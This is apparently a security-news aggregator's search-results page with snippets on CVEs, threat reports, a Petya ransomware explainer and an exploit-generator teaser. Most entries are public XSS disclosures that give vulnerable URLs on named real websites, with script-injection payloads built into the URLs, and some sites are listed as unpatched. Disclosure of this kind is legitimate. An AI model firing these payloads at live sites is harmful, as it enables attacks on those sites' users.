6780 matches found
CVE-2015-1395
Directory traversal vulnerability in GNU patch versions which support Git-style patching before 2.7.3 allows remote attackers to write to arbitrary files with the permissions of the target user via a .. dot dot in a diff file name...
youroilrecruitmentnews.com XSS vulnerability
Vulnerable URL: http://www.youroilrecruitmentnews.com/searchresults.php/%22'--!%3E%3CScript%20/K/%3Econfirm%22OPENBUGBOUNTY%22%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...
modelaznehtu.cz XSS vulnerability
Vulnerable URL: https://www.modelaznehtu.cz/shop.php?najdi=aceton%20%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20SrcSet=K%20/;%20OnError=confirmOPENBUGBOUNTY%20//%3E=produkt Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 19.11.2017...
More on the Vulnerabilities Equities Process
Richard Ledgett -- a former Deputy Director of the NSA -- argues against the US government disclosing all vulnerabilities: Proponents argue that this would allow patches to be developed, which in turn would help ensure that networks are secure. On its face, this argument might seem to make sense ...
shootingtargets7.com XSS vulnerability
Vulnerable URL: https://shootingtargets7.com/store/catalogsearch/result/?q=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 784545 VIP website...
Rapid7 Threat Report: Q2 2017
We cannot believe that we're already into August! Time really flies when the internet is constantly on fire. When it came time to analyze data for our Q2 Threat Report and pull out threat trends and landscape changes, there was plenty to work with. Q2 kept defenders on their toes--from the Shadow...
Exploit for CVE-2017-8464
CVE-2017-8464-exp-generator this tool can generate a exp for c...
curl security, bug fix, and enhancement update
7.29.0-42 - fix use of uninitialized variable detected by Covscan 7.29.0-41 - make FTPS work with --proxytunnel 1420327 7.29.0-40 - make FTPS work with --proxytunnel 1420327 7.29.0-39 - work around race condition in PK11FindSlotByName in NSS 1404815 7.29.0-38 - make FTPS work with --proxytunnel...
e-svet.e15.cz XSS vulnerability
Vulnerable URL: http://e-svet.e15.cz/vyhledavani?q=" XANY Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 05.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Chec...
Petya-like Ransomware Explained
TL;DR summary June 28 and beyond: A major ransomware attack started in Ukraine yesterday and has spread around the world. The ransomware, which was initially thought to be a modified Petya variant, encrypts files on infected machines and uses multiple mechanisms to both gain entry to target...
narshahotel.com XSS vulnerability
Vulnerable URL: http://narshahotel.com/content/pageetc.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E?id=privacy Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 17:29 GMT Vulnerability type:| XSS Vulnerability status:|...
surgeinfitness.com XSS vulnerability
Vulnerable URL: http://surgeinfitness.com/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosu...
flow-athletics.com XSS vulnerability
Vulnerable URL: http://flow-athletics.com/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...
sherwoodparkchev.com XSS vulnerability
Vulnerable URL:...
liriklagu.co.id XSS vulnerability
Vulnerable URL: http://liriklagu.co.id/search?q=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 16:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...
Bad Code Library Triggers Devil's Ivy Vulnerability in Millions of IoT Devices
Tens of millions of products ranging from airport surveillance cameras, sensors, networking equipment and IoT devices are vulnerable to a flaw that allows attackers to remotely gain control over devices or crash them. The vulnerability, dubbed Devil’s Ivy, was identified by researchers at Senrio...
Oracle Releases Biggest Update Ever: 308 Vulnerabilities Patched
Oracle admins are today staring down the barrel of the biggest quarterly Critical Patch Update ever. The numbers are gory: 308 vulnerabilities patched, 165 of which are remotely exploitable, across more than 90 products. So far in 2017, Oracle has patched 878 vulnerabilities through three CPUs...
ictjobs.ch XSS vulnerability
Vulnerable URL: https://ictjobs.ch/?fs=%22%3E%27%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 534386 VIP website...
Unwelcome Interruptions
Imagine your player's first experience with your game. Finally, after waiting all these years, she's got the game in hand. She tears the cellophane, cracks the case, slots the disc, and . . . "Game is now updating. Please wait." Watching 20 GB load onto a machine is not anyone's idea of fun. I ha...
gagosian.com XSS vulnerability
Vulnerable URL: http://www.gagosian.com/search?query=%27%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 16:35 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...